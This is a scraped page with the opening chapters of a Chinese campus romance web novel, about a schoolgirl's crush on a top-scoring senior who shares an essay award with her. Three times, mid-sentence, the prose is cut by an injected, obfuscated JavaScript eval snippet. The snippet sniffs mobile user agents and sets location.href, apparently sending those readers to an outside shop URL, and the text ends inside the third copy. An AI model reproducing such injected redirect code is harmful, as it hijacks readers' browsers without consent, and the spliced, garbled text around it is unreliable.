《临春天》 1. 漫长 * 《临春天》·影雾灰 2026.2.4·立春 晋江文学城首发 「春天来临之前,请与我相爱。」 * 「如果说,漫长无垠的学生时代里注定要有一天被铭记,我想,我一定会选择这天。九月一日,秋季学期开学典礼,天气晴朗,我第一次离他极近,第二次对他心动。」——@福音书与祷告文 立秋大半个月,淮川的夏天却好像过不去,温度一直维持在三十度上下,大太阳照得人脸颊红了一片。 云昭站在高二文科一班的队伍里,穿着白衬衫和灰色百褶裙,领口系着蝴蝶领结,左胸口处佩戴着印着校徽和姓名的校牌。她身材匀称,皮肤白皙,撑得起这套版型极不合理的校服,像漫画里走出的美少女。 上午九点阳光没有任何遮挡的落到脸上,云昭将手放到额前,企图避避这灼人的紫外线。 云昭不怕热,却也禁不住在操场上顶着太阳站半个多小时,她感受到自己的脸在发红发烫,一双水润的杏眼微眯着,她不自觉的皱起眉头。 坦白说,在听到裴至峤这个名字前,云昭与所有同学一样,有点厌烦形式大于内容的开学典礼。 站在云昭前面的虞岁已经忍不了冗长的校长致辞,身体向后倾斜,和云昭搭话。 “校长老头讲话讲了多久了,到底什么时候才能结束!我快热晕了!” 虞岁怕热得很,此刻一边用手掌扇风,一边在心里把迟迟不肯结束讲话的校长骂了八百遍。 “不就是讲上一届录取了多少重点大学,用得着讲这么久?光荣榜贴得那么大,我自己不会去看吗!” 淮川一中作为淮川最好的高中,基本包揽了各科市状元,每年开学典礼都要拿上一届的成绩激励新生,美其名曰:拿状元的传统不能断了。校长一直重复着学校保持着的各项纪录,听得人耳朵都要起茧子。 云昭帮虞岁扇风,被她那张向来不饶人的嘴逗笑一瞬又恢复原状,黑暗心情始终没被驱散。 “再站一会儿吧,学生会巡查就在前面,我们又不能跑。” 云昭刚说完,巡查就从前面走下来检查校服和校牌,登记没戴学生的班级姓名,检查完后走回前面去。 巡查走后,虞岁松一口气,又开始没个正形的和云昭说话,云昭却看着巡查的位置发呆。 虞岁抱怨了两句周一是个讨厌的日子,云昭以前不这么觉得,她挺喜欢周一,也喜欢天气晴朗时在操场上的升旗仪式。 云昭站在班级队伍的中段,她一直认为这是一个很好的位置,做点什么小动作不容易被人发现。她以前常利用这点,偷看站在队伍第一排旁边的裴至峤。 上个学期,裴至峤被学生会分配来检查云昭的班级,每周升旗仪式,云昭站在他身后的第五排,悄悄偏头观察他。 一般这时候,裴至峤手里会拿着扣分表,穿着升旗仪式要求的白衬衫与灰色长裤,云昭从后面只能看见他的背影和四分之一侧脸,但她仍然为此满足。 至少她能看到他,哪怕距离有些远。 这学期,裴至峤升高三,学生会换届后,他不再查云昭班的出勤,站到了云昭无法偷看的后面。 云昭为此失落,跟虞岁一起讨厌着周一,想到后面的老师代表致辞、学生代表讲话和颁奖典礼更郁闷,她甚至不想参加颁奖,只想去阴凉处歇歇。 提起之后的学生代表讲话,虞岁扇风也顾不上,眼睛一转,悄悄凑到云昭耳边,语气很兴奋:“昭昭,我听说今年的学生代表又是裴至峤!” 心脏猛然一颤,云昭还没来得及问真假,旁边的女生听到这个名字,立马凑过来问虞岁:“真是裴至峤吗?” 果然,任何人都会被裴至峤的名字吸引。 淮川一中的学生,没人不知道裴至峤,教学楼外那面巨大的光荣榜上,他长期占据最中心位置,刚在两个月前的八省联合模拟考中勇夺淮川市文科第一名。 光是成绩好就算了,让他在校内断档出名的原因还有一个——他长得好看。 在智商与颜值不能同时存在的魔咒中,裴至峤是个例外。 虞岁信誓旦旦的说着保真,旁边的女生像打开了话匣子,和虞岁热聊起来。云昭没参与她们的话题,独自抬头努力朝主席台望去,果真裴至峤正等在台下,手里拿着演讲稿。 一个暑假没见到他,他没什么变化,即使是穿着统一的校服,他也是人群中最出挑的那个,眉清目秀的样貌与清逸出尘的气质让人挪不开眼。 云昭第一次庆幸妈妈从小就让她保护好眼睛,她以5.2的视力越过前方遮挡她的无数人,看到裴至峤认真准备的侧脸,优越的眉骨和鼻骨被阳光照出轮廓,像是他本身在发光。 “昭昭!昭昭!”虞岁顶了顶发呆的云昭的手臂,“你听到我说话没!” 云昭茫然回神,视线从裴至峤脸上抽离,看向虞岁:“你刚刚说什么?” 虞岁刚和旁边女生说着去年裴至峤作为学生代表讲话的盛大场面。为什么说盛大?因为那场面堪比一个小型见面会。 云昭记不太清去年今天的情形,那个时候她没想到后来裴至峤会在她心里占据如此重要的位置,都没怎么看他。 只记得那时裴至峤一上台,站在前排的同学收不住惊叹声,虞岁在云昭身边跟着同班的女生凑热闹,昂起头往台上看。云昭不爱凑热闹,虞岁却激动得收不住力往她手上拍了下,清晰的痛感让云昭一下抬头,看见主席台上谦和笑着的裴至峤。 仅此一眼,再没多余的目光。 现在的云昭开始后悔,如果她知道后来会喜欢他,那时候她一定会多看裴至峤几秒。 漫长的开学典礼因为期待一个人的出现变得没那么无聊。 与去年一样,甚至比去年更大的惊叹声在耳边响起时,云昭知道,裴至峤上台了,她再次往主席台方向看去。 很有冲击力的画面在瞳孔里浮现,站在高二前面的高一年级已经快乱成一锅粥,说“学长好帅”的声音此起彼伏,钻入云昭的耳朵。 云昭已经感受不到周围的混乱与喧闹,大屏上那张脸占据她全部的注意力,裴至峤就这样,撞进她的心里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241903|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云昭摒弃一切嘈杂,似乎听到了心跳剧烈跳动的声音。 放暑假前吐槽学校往主席台上装大屏是把经费花在刀把上的虞岁,现在改了口,笑着跟云昭说:“这大屏还是有点用的,至少能看帅哥,今年的尖叫声可比去年大了不止一点!” 主席台的超大显示屏,让最后一排的同学也能清楚的看到裴至峤的脸,跟去年开学典礼大家得争抢着看上裴至峤一眼的情形完全不同,连学生会的巡查也压不住场面。 广播里声音传来,一如既往的开头:“尊敬的老师,亲爱的同学,大家好,我是高三学生代表裴至峤……” 语速均匀,发音清晰,变声期后的嗓音很有质感,低沉却不僵硬,带着温柔内敛的声调,好听到让人无法分心去思考他到底说了什么。 裴至峤的开口没能压住那些躁动,甚至底下的人愈演愈烈,有人已经开口问裴至峤的联系方式。 虞岁有种一切尽在掌握的得意,说:“早就猜到这群新生的反应了,裴学长脸在江山在,收割一茬又一茬的学妹。” 云昭露出一抹浅笑,不知是在笑虞岁说的话,还是在笑印证了虞岁话的学妹们。云昭觉得,裴至峤的样貌是他身上最不值一提的东西,他有更多比他脸更值得人喜欢的地方。 云昭知道裴至峤的好,见过裴至峤的好。 裴至峤的讲话不长,统共三五分钟,比起先前校长的长篇大论短了许多。大概因为他也是学生,知道大家讨厌这种形式主义,所以不想耽误大家时间。 多体贴、多周到的行为。 云昭旁边那个刚和虞岁聊得高兴的女生却说:“裴至峤讲话长一点才好呢,不想听校长又臭又长的讲话,但想看裴至峤的脸。” 她一句话道出许多女生的心声,当中有一份属于云昭。 云昭也希望裴至峤在台上停留久一点,在为数不多能见到裴至峤的机会里,听他在国旗下讲话是最正大光明的一个。 裴至峤之后是哪位领导讲话云昭不知道,只听见有人在队伍前叫云昭的名字,让她现在去主席台下候场,一会儿要上台领奖。 云昭小跑着离开班级队伍,穿过仍在激烈讨论裴至峤的高一新生,到主席台下。 裴至峤下台后没走,还在一旁站着。云昭匆忙跑过来时,面前突然出现裴至峤的脸,吓得她呼吸错乱,不敢多看裴至峤一眼。指导老师招呼着要领奖的同学排好队形,每个参赛项目按顺序分开站。 云昭恰好站在裴至峤旁边。 上学期的全国作文大赛,高一高二一起参加,一中有三个人获得奖项,云昭和裴至峤是其中之二,理所当然的站在一起。 云昭突然庆幸,十分钟前说不想领奖的她只是说说,并没有真的逃走。此刻她和虞岁抱怨装大屏一样,打脸了。 感受到身边人的气息,云昭觉得不可思议,她居然离裴至峤那么近,他们之间只有一拳的距离。云昭动作稍大一点就能碰到裴至峤的手臂,只要稍一转头,就能与裴至峤对视。 云昭不敢转头,也不敢看他。 要命的是,裴至峤看了过来。 2. 心动 裴至峤是很典型的双眼皮桃花眼,是电视里那种随时都能放电的多情眼型,特别能引人心动。虽然裴至峤看向云昭的目光里没有含情脉脉,云昭依然因此心跳加速。 温润柔和的眼神里带着礼貌与疏离,云昭对上裴至峤的眼睛时,他轻轻点头,云昭不确定这是不是裴至峤在跟她打招呼。 其实他们见过很多次,站在过一起很多次。 作为文科光荣榜的常客,云昭常与裴至峤同时出现在老师口中,这一直是云昭心中悄悄引以为傲的一点。她不知道裴至峤是否注意过她,是否认得她,是否知道她的名字。 云昭学着裴至峤的样子颔首,回应他那一下不明不白的点头,也许是眼里的茫然太甚,裴至峤笑了一下。 很浅很浅的笑,嘴角轻轻勾起,和刚才云昭站在队伍里看到的裴至峤在大屏里的笑容一样。 不一样的是,那个笑容属于全校师生,这个笑容只属于云昭一个人。 这次,云昭没来得及像刚才一样回应他,广播里就念到他们的名字:“获得作文大赛一等奖的有:裴至峤、云昭。” 裴至峤站得离主席台最近,听到名字后走了上去,云昭却忘了跟上来。 一直被老师和同学夸聪明的云昭在裴至峤面前突然变笨了,也许不是变笨,是在裴至峤面前,她多了些紧张。上次也是,她很紧张。 云昭身后那位获得三等奖的同学戳了戳云昭的手臂,指向台上,提醒她裴至峤已经走到主席台正中央。云昭这才反应过来,手忙脚乱的上台去。 余光里是裴至峤的身影,云昭知道,裴至峤现在正看着出丑的她。云昭不敢再看裴至峤,却忍不住想:裴至峤此刻会在心里说她笨吗? 大概是不会的。 裴至峤此刻心里想的是:这个眼熟的学妹红着脸的样子,很可爱。 云昭很小心的走着,在距离裴至峤一步的地方停下,轻轻松一口气,庆幸这回没有意外发生。 颁奖的是一中副校长,红色证书挨个发到他们手里,打开举着,对着台下的摄像机合影。 打开证书时,云昭和裴至峤手肘不可避免的碰在一起。白衬衫是短袖,他们裸露在外的皮肤相触,让云昭再次紧张起来。她不敢有任何动作,眼睛看向台下在调整角度的摄影师,只留一点余光观察裴至峤的动态。 不知道是不是错觉,云昭感觉裴至峤的手肘又一次碰到了她,不是刚刚那种意外相撞,是很轻柔的,像是在提醒她什么。 云昭依然不敢动,不敢看他。 台下的摄影师已经找好角度,向台上比着“OK”的手势,云昭摆出领奖时一贯的笑容看着镜头。 按下快门前,裴至峤忽的轻轻偏头,凑到云昭耳朵边。 “云昭同学,你的证书拿反了。” 那一刻有太多情绪闪过,让经常作文满分的云昭不知道怎么去形容才贴切。 裴至峤的声音只经过空气一种介质,音量很小却很清晰,比刚才透过学校劣质音响传出的声音更有磁性,更好听。 这是裴至峤对云昭说的第一句话,他叫着她的名字。 云昭眼里有惊讶和迷茫,身体先于大脑做出反应,抬头望向裴至峤。 裴至峤比云昭高一个头,身体保持刚才跟她说话的姿势,轻微偏向她。云昭一抬头,他们离得更近,近到可以看清裴至峤脸上的皮肤纹理,看清他瞳孔里她的样子。 太阳光忽然变暗,有一阵微风吹到脸上,云昭闻到裴至峤衣角散发的香味,是一种清冷的皂香,很干净的味道,像他本人。 云昭的心扑通的跳着,她后来查看手上的运动手表,发现此刻她的心率是一百三十次每分钟。 她第二次对裴至峤心动的心率是一百三十次每分钟。 云昭不知道他们对视了多久,只记得她从心动中回神的时候,裴至峤还在看着她,示意她记得把证书翻过来。 “咔嚓”一声,时间定格。 云昭在最后一刻将证书翻过来,裴至峤保持姿势没动。他们笑着,照片上的裴至峤很明显的偏向她,尽管是出自提醒,云昭依然兴奋于这一秒短暂的贴近。 开学典礼接近尾声,云昭下了主席台走到班级队伍时,主持人刚好宣布解散。 虞岁过来挽云昭的手,拿起她手里一等奖的证书端详。证书没什么特别,云昭从小到大不知道得过多少张,特别的是因为这张证书,她和裴至峤站在同一个领奖台。 “你知道我刚刚听她们说什么吗?”虞岁清清嗓子,开始惟妙惟肖的模仿:“早知道我就认真学习了,得奖就能和裴至峤站那么近,好想知道这到底是什么感觉啊!” 虞岁坏笑着问:“所以昭昭,和裴至峤站那么近是什么感觉啊?” 云昭陷在刚才那阵带着清冷皂香味的风里,虞岁轻撞她肩膀才让她走出来。 “怎么办啊小鱼,我刚刚丢死人了!” 云昭头靠在虞岁肩膀,想起自己刚刚两次犯傻的行为,很想在操场上找个地洞钻进去。 虞岁大笑两声,云昭脸皱成一团看着她,她立马收住笑容去哄云昭。 “安啦宝贝,是个人和裴至峤站那么近都会紧张的,你就告诉我你高不高兴,心跳是不是扑通扑通的特别快!” 云昭想,她就是太高兴,高兴到忘乎所以,现在才反应过来裴至峤手肘碰到她是在提醒她。云昭捂着脸,不是很想面对。 虞岁拉开她挡脸的手,说没什么大不了的:“看过青春偶像剧吗?女主角不特别一点男主角怎么记住她!” “这样的特别不要也罢!”云昭祈祷,裴至峤千万不要记住她出丑的样子。 “你这么可爱,他怎么会只记住你出丑的样子!” 云昭丧气的样子像一只小仓鼠,虞岁捏了捏她红扑扑的脸,挽着她往教室走。 操场人太多,乌压压的朝教学楼涌,云昭垫脚观察前面的路况,不经意闯进一道视线里。 是那双刚才装着她脸红样子的眼睛。 裴至峤很高,在一片后脑勺中出现一张眼前一亮的脸,让人想不注意都难,云昭轻易的和他对视上。 云昭迅速收回目光,低头往虞岁怀里躲,让虞岁不明所以:“你怎么了?” “嘘。”云昭比着噤声的手势,让虞岁别说话,探头探脑的观察着,看到裴至峤转过去才敢开口:“我看到裴至峤了。” “看到怎么了?” “关键是我和他对视上了。” “那有什么关系?万一这一眼就让他对你一见钟情了呢!” “可是我太紧张了,要是继续在他面前出丑,还哪来的钟情?” 云昭快被吓出后遗症,见到裴至峤下意识闪躲,根本不敢有任何动作,害怕自己在裴至峤心中的形象更差。 在喜欢的人面前,就是会格外在意。 不过虞岁这句话没说错,对视更容易产生感情,甚至不需要八秒,仅仅是刚才那一秒,就让两个人心乱。 刚才裴至峤听到身后梁斯年的声音,停下来找他,意外看见云昭四处张望的样子。他停顿一秒,而她刚好在这一秒里看向他的眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云昭看得入迷,觉得裴至峤这篇得一等奖不是没有道理,在议论文上,云昭与裴至峤的确有差距。要说差在哪里,应该是看问题的深度,没有太多经历的高中生写起议论来难免浅薄,裴至峤却像有丰富经验的成年人,能将观点深入下去。 “同学,这是你们班的,来登记一下。” 云昭还没看完,复印店的老板突然将一沓复印好的作文交到云昭手上,让云昭一下懵了。虽然这就是云昭要复印的东西,但云昭还没跟老板说要印。 “老板,这不是我们班的。” “你不是高三文一的吗?” 老板看云昭手上正拿着复印的作文,理所当然的认为是她的。 “是我们班的,我刚才已经登记好了,还有三十九份数学试卷,印好了吗?” 裴至峤过来接住那沓无人认领的复印纸,笑着看了一下云昭,然后问老板。 他也是下来复印获奖作文,顺便帮数学课代表拿试卷。刚才去写登记表走开了一会儿,才闹了个误会。 云昭今天第三回碰到裴至峤了,和前两回一样的是,她依旧紧张,像受惊的兔子缩在一边。云昭不知道裴至峤从哪里出来的,她一开始竟没看到他,现在看到了就不能装没看到,她控制不住的偷看他。 老板跟裴至峤说数学试卷在另一台复印机,然后给云昭复印。 两台复印机挨得近,云昭和裴至峤站在一起等,未免尴尬,云昭继续读裴至峤的作文。 不巧,裴至峤也正读云昭的作文。 3. 铭记 预备铃响,大课间还剩最后三分钟。 来复印室的同学变得脚步匆忙,教室在高楼层的不得不走改跑,一不留神就和人相撞。 云昭站在裴至峤身边,被他身上的气息侵扰着,看不进去作文上的字,开始走神,想裴至峤看完她的文章后会是什么反应,会不会对她印象好一点。 但在看完之前,有意外发生。 理一班物理课代表急着来拿资料,踩着风火轮冲进复印室,走的时候跌跌撞撞,差点一头栽到云昭身上。 云昭出于本能,闪躲着朝她的“袭击”,复印机前的空间狭小,云昭身体一歪,很容易摔倒。 倒下的前一秒,云昭想:完了,又要在裴至峤面前出丑了。她的表情实在不好看,有种慷慨赴死的超然。 一只宽大的手掌扶住了云昭的手臂,“小心。” 云昭再次闻到他衣角的皂香味。 借着裴至峤的力,云昭调整身体站稳,裴至峤手掌的温度短暂的停留在皮肤表层,云昭觉得被他扶的那一整块都在发烫。 意识到撞了人,理一的物理课代表回头看了一眼云昭,边跑边和她道歉:“对不起了云昭,阎王在班里等着训人呢,下次给你赔罪!” 阎王是理一的班主任兼物理老师,姓严,以前也带云昭班,云昭知道严老师脾气不太好,没和撞人的课代表计较,让他溜走。 云昭转头看裴至峤,“谢谢裴……学长。”她斟酌着用词,感谢的话说得小心。 裴至峤笑着:“不客气,云昭同学。” 她的名字再次从他嘴里说出,让她恍然。 云昭又说:“还有刚才在台上的事,也谢谢裴学长。” 在台上就该跟裴至峤说谢谢的,云昭一慌张就容易忘事,现在补上。 裴至峤还是笑着,说:“也不客气。” 他始终温和礼貌的回应云昭的话,云昭却不知道怎么接下去。她开始懊恼,怀疑自己说错了话。 作文和试卷同时印好,云昭和裴至峤抱着各自班里的资料一起走出复印室。教学楼三个楼道,两个班挨得近,他们自然而然的并肩走着同一个楼梯。 云昭的作文放在裴至峤手中资料的最上面,他似乎还在看。因为今天的三次意外,缄默无言的一小段路中,周围安静得让云昭觉得不自在,裴至峤先开口破冰。 他说:“你作文里引用康德的观点写得很好。” 高三一轮复习刚好讲到启蒙运动,裴至峤班的历史老师花了一节课讲康德的理性批判,他印象很深。 云昭被他突然的一句夸奖搅乱心神,胡乱的说:“我没想那么多,就是随便写的。” 她家很多德语名著,她自己都忘了什么时候看过康德,当时忽然想起这个观点,觉得契合,就写进去了。 倒是裴至峤作文中间写的一个例子让云昭印象深刻,“这个案子我只在社会新闻上看过。” 可能是云昭没听全这件事的经过,甚至觉得新闻都没裴至峤写得深入。 裴至峤解释:“我曾在法院旁听过这个案件的宣判,所以了解比较多。” “你的结语也写得很好,我很喜欢。” 云昭指着裴至峤作文的最后一句话,读出声:“我们无法成为伟大的人,只能心怀伟大的爱做细微的事情。” 裴至峤眼中闪过惊异的色彩,云昭没有捕捉到,她只听到裴至峤问为什么。 “因为伟大就是由这些细微组成起来,认可每一个微小是一件很难却又很重要的事。” 他们走完一节楼梯,裴至峤停在平台处看向云昭,可能是因为他喜欢云昭的解释,他很有耐心的告诉她:“这句话不是我说的,它出自《刑法学讲义》。” “不过我也很喜欢这句话。” 云昭眼里的惊诧被裴至峤捕捉,她有点不相信严肃的《刑法学讲义》还会写这个。 裴至峤说这是一本很有意思的书,然后跟云昭说了再见,左转回到自己班。 云昭还在想裴至峤说的这本书,琢磨着他的意思,他看起来好像很喜欢刑法,说起相关的东西声调上升了一个度。 右转,云昭要回自己班,却一下撞到了人,——是来拿着杯子来楼梯旁接水的虞岁。 虞岁凑近云昭,悄悄问:“昭昭,你和裴至峤什么时候这么熟了?” 云昭否认:“没,我们不熟。” 虞岁激动:“还说不熟,你们刚刚聊得那么开心,裴至峤还笑了。看来领了个奖之后你们进展神速啊!” 上课铃此时响起,云昭没再说话,和虞岁踩着铃声进教室,丁菡已经站在讲台上。云昭数好作文发下去,一回座位虞岁又开始八卦。 “你们刚刚说了什么?他看起来很开心。” 云昭举起刚发下来的作文:“我们在聊这个。” “啊?” 云昭说得坦然:“嗯,在聊《刑法学讲义》。” 虞岁在一脸不理解中停止了刨根究底,觉得这俩人学得入魔了,她看不懂。 云昭将摆在桌面上的那本茨威格的小说收进抽屉,开始想裴至峤觉得有意思的书。 她好像又更多了解了裴至峤一点,这一点别人都不知道,只有她知道。 开学第一天过得很热闹,新认识的同学快速打成一片,总能听到各种方向传来的笑声。云昭也试着了解新同桌,不过关栩宁很冷漠,一天下来,云昭依旧对她一无所知。 晚自习上到九点,同学们早收拾好书包,不到三分钟,教室几乎没人。 虞岁问:“昭昭,你要和我一起走吗?” “不了,你快回家吧。” “那好吧,明天见。” 云昭甜甜笑着挥手:“明天见。” 九点十分,云昭卡着点关灯,走出教室,刚好在楼道里遇到裴至峤。 从上学期某天,云昭晚从教室出来十分钟,正好在楼道里碰到裴至峤开始,她就观察出了规律。 裴至峤是他们班班长,会习惯性的在晚自习后帮老师清点作业和收拾教室,差不多会晚十分钟。这个时候学校里几乎没人,云昭和裴至峤一前一后的走在空旷的学校里。 云昭觉得这是她学生时代里一天中最浪漫的时刻,她和喜欢的人一起走过一段路,路程中只有彼此。云昭不会上前打扰裴至峤,只是静静的走着,装成一个同样习惯于在教室留十分钟的普通同学。 是云昭的精心设计,也是命运的巧合安排,无数个晚自习后,他们相伴着。 而今天格外不同,裴至峤没再把云昭当成一个晚走的普通同学,他已经深深记住了这个名字,他看见云昭,叫了云昭。 “云昭同学,好巧。” 云昭觉得自己的心率大概又飙到了一百三,颤着声音回裴至峤:“好巧,裴学长。” 楼道的声控灯忽明忽暗,照得影子一闪一闪,夜晚寂静的环境中,容易滋生一种恐怖色彩。 云昭头回和裴至峤光明正大的这样走着,看路的眼睛分了心,移到某个人身上,让云昭不小心绊到什么东西,她没 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潜台词很明显:他陪着她的确没那么怕了。 通过校门口的闸机,往右五十米就是公交车站,云昭和裴至峤坐不同路线的公交,但在一个站点等候上车。 前几趟公交几乎带走了所有在车站候车的学生,此刻站台冷寂,只有云昭和裴至峤一起等。 站台后面的一整条街是各种卖小吃的店铺,常被戏称为“一中第二食堂”,这个时候还亮着招牌,但只有稀稀拉拉几个客人。 相比起来,对面的奶茶店更热闹。那是上学期新开的一家店,奶茶和甜点味道都很好,虞岁拉云昭去过一次,但云昭觉得没有妈妈做的好吃。 不大的店面里挤着好多一中的女生,云昭望着人影憧憧,庆幸这条路太宽,他们看不清站台里穿着校服的高挑男生是裴至峤,没人来惊扰这个宁静时刻。 云昭看了眼表,现在是九点十七分。不出意外,裴至峤要搭乘的七路公交车还有三分钟到站,她要搭乘的六路则还有五分钟。 他们还会再一起待三分钟。 裴至峤没再说话,云昭也不好意思开口,开始翻看手上那本没读完的茨威格,假装自己有事可做。 德语原著的长篇以云昭的水平读起来有点吃力,她努力辨认着每一个词的意思,却连不成一句完整的话。她心思不在书上,再努力认真读也读不进去。 公交进站的声音让云昭松一口气,她已经做好了目送裴至峤上车的准备,裴至峤却没上这辆七路公交车。 云昭疑惑:“你不上车吗?” 裴至峤疑惑:“你怎么知道我要坐哪路车?” 云昭停顿了一瞬,拿出这辈子最快的反应速度去圆话:“我有一次看见你上七路车了。” 其实不是一次,是很多次,但裴至峤没有质疑她的话,她捂着胸口,庆幸着。 好险,差点就被裴至峤发现,她一直在关注他。 裴至峤问:“你坐哪一路车?” 云昭刚答:“六路。”公交车就驶进站台。 等上了车,云昭才反应过来,裴至峤是在等她先走,因为她说,她怕黑。 裴至峤太绅士,无言的守护了云昭一晚,这一晚,他因自己绅士行为晚到家了十分钟。 云昭躲在被窝,窗户上是海棠花枝摇动的影子。她登上自己的微博小号,细想今天的经历,觉得这是注定要被铭记的一天。 4. 照片 「无数次对着光荣榜遗憾过,因为和他不同届,我们连毕业合照都不能留下。可命运给了我机会。今天,我们的照片在公告栏,所有人都看得见。」——@福音书与祷告文 开学几天,所有事情都按部就班,黑板右侧写着课表,下节是云昭不太擅长的数学。他们班的数学老师姓葛,第一次带文科班,讲得太快太深,云昭有点跟不上,花了好多时间预习复习。 练习册上昨天的作业被打上了鲜红的叉,云昭整个课间都在改错,奈何圆锥曲线的计算量太大,她在草稿纸上算了一遍又一遍,还是没做出来。 “你这个地方算错了。” 关栩宁用不同颜色的笔在云昭的草稿纸上画了个圈。 云昭算切线的斜率,却把正负写反,导致后面的数据全乱。关栩宁看见云昭表情太痛苦,觉得不忍心,出手指了一下。 按关栩宁说的,云昭再算了一遍,终于做出正确答案。 云昭将算好的题给关栩宁看,脸上的笑容很甜:“谢谢你啊,关栩宁。” 这周以来一直冷漠不合群的关栩宁主动对云昭说话,让云昭既意外又惊喜。 关栩宁沉默着,恢复和云昭不熟的状态。 云昭看了关栩宁一会儿,没再多说。 其实她知道关栩宁不愿和人走得太近的原因。 上完数学课,云昭和虞岁去接水。饮水机那儿聚集了很多人,聊着各种话题,云昭在无数道声音中听到了关栩宁的名字。 “听说关栩宁回来上课了?” “好像是,出事之后她就休学了,没想到她还会回来上课,但怎么留级到高二去了?” “她跟不上高三,不就只能去高二,不过还在重点班……” 站在云昭前面谈论关栩宁的是高三文一,和裴至峤同班的两个女生,说到一半,接完水就回班了,云昭没听全。但云昭知道,关栩宁以前也是裴至峤班上的,高三文一和他们班一样原本四十个人,关栩宁休学后变成了三十九个人。 “小鱼,你知道关栩宁的事吗?” 虞岁摇头:“不知道,她有什么事吗?” 虞岁不知道,因为那件事影响不太好,被学校压下来了。 “你好关心关栩宁啊,今天早上聊得那么开心,我都要吃醋了!” 虞岁撅嘴,摆出一幅生气的样子。 她和云昭之前一直是同桌,这学期换了座位虞岁有点不适应。她们一直是最好的朋友,虞岁是唯一知道云昭喜欢裴至峤的人。 云昭哄虞岁:“她只是给我讲题,在我心里你永远是第一位!” 吃醋是开玩笑的,虞岁听完云昭的话马上就笑了。 提着接满热水的杯子,云昭和虞岁挽着手下楼去上体育课,老师说这节课要测八百,云昭今天出门特地换了运动鞋。 走过楼道时,虞岁提了一句:“后勤部的效率还挺高,坏掉的灯这么快就修好了。” 不止修好了,还从原来的声控灯换成了有开关的灯,再也不用担心下晚自习后看不清路。 云昭比虞岁更先注意到这盏新换的灯。 昨天晚自习后,云昭又在教室多待了十分钟,刚好和裴至峤一起下楼。 从那天被裴至峤记住名字后,云昭没敢每天都等着偶遇他,几乎保持隔天一遇的频率,让自己的喜欢不那么明目张胆。 裴至峤每次看见云昭,都会叫她的名字,云昭压下心头的躁动,停顿一秒再转头看他,然后他们一起出校门去等车。 昨天也不例外。 只是昨晚楼道灯没有再一闪一闪,将每个角落都照得明亮。 裴至峤问云昭:“现在还会害怕吗?” 云昭说:“不怕了。”心里却遗憾,她再也不能因为怕黑离他更近一点。 裴至峤没察觉出云昭的失落,喃喃自语的说了句“那就好”。学生会开学收集学生意见,他提了楼道的声控灯坏了,晚上容易让人绊倒,于是后勤部马上就换了灯。 公交站在那个时段依旧冷寂,没人注意到站台上站着他们俩,云昭却注意到,每次她和裴至峤一起等车时,裴至峤不会上九点二十那辆七路公交车。 他总是让云昭先走。 裴至峤也不知道,从什么时候养成了习惯,习惯看着云昭上车,她坐在靠窗的座位,浅笑的看一眼在车下的他。 因为这个习惯,他这学期总是晚到家十分钟。 云昭回虞岁:“效率是挺高的,上一次见动作这么快的事还是学生会联名上书让食堂装空调。” 上个夏天气温太高,食堂又闷又热,在里面吃饭和上刑没区别。学生会联名上书下,学校很快妥协,三天就把空调装上。 虞岁问:“既然食堂都装了空调,能不能在操场上也装一个?这么热的天,为什么要跑八百!” 秋老虎来势汹汹,让淮川再添半个月高温,虞岁只在操场上站了一会儿,就扛不住三十度的天,还有她每年最讨厌却又不得不跑的八百米。 虞岁不想上课,最后被云昭拖着去集合。体育老师带她们热身,虞岁特别紧张,捏着云昭的手不放。 “小鱼,你待会儿跟在我后面跑就好,我带着你跑就不会那么难受了。” “真的吗昭昭,你真好。” 虞岁马上就要流下感动的泪水。 老师让她们上跑道准备,云昭蹲下检查自己的鞋带,看见虞岁一脸视死如归,拍她肩膀安慰她。 发令声一响,云昭迅速抢占内道,保持匀速,三步一呼,第一个冲进终点线。她成绩是两分五十八秒,满分水平,是女生两组加起来的第一名。 虞岁跑了倒数第二,上气不接下气的倒在地上,“昭昭,你跑得太快了,我根本追不上你!” 云昭领先了虞岁大半圈,虞岁在跑道上痛苦得想原地去世。 “我不管,中午你得陪我去吃顿好的,补偿一下八百米带给我的伤害!” “好,陪你去。” 云昭把虞岁从地上扶起来,叮嘱她跑完之后不能立马坐下。她们这节课刚好是上午最后一节,体育老师登完成绩让她们提前下课。 午饭后回教室的路上,她们路过公告栏,有人在为公告栏换新的宣传页。 云昭看到了巨大的红色海报被贴上公告栏,正中心位置放着她与裴至峤的照片,是开学典礼上他们一起领奖那张。 云昭下意识的停在公告栏前,目不转睛的看着这张巨大海报,挽着她手臂的虞岁跟她一起停下。 那天在台上,云昭处在第一视角,只顾着紧张。现在她终于看到了这张处于第三视角拍摄的照片,裴至峤和云昭挨得很近,他微微偏向她,他们拿着一等奖的证书,都在笑着。 这是云昭与裴至峤的第一张合照。 云昭的心激动得快要跳出来,双颊的红晕不再是因为太阳。 公告栏旁逐渐聚集了很多刚吃完午饭的学生,看到裴至峤的脸陡然出现在上面,都忍不住过来看看。 “学校怎么突然换宣传图了,把裴至峤的脸印得这么清晰肯定下了血本!” “听说是因为上级领导要来视察,不得把品学兼优的裴至峤拉出来撑场面!” 万年不变的公告栏突然换图,肯定是有大事发生。裴至峤和云昭学习好,形象好,是最适合给一中撑场面的人选,教务处选照片的时候原本想把他们俩分开放两张照片,却正好看到了颁奖的合照,于是直接选了这张,方便排版。 巨大的版面和红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 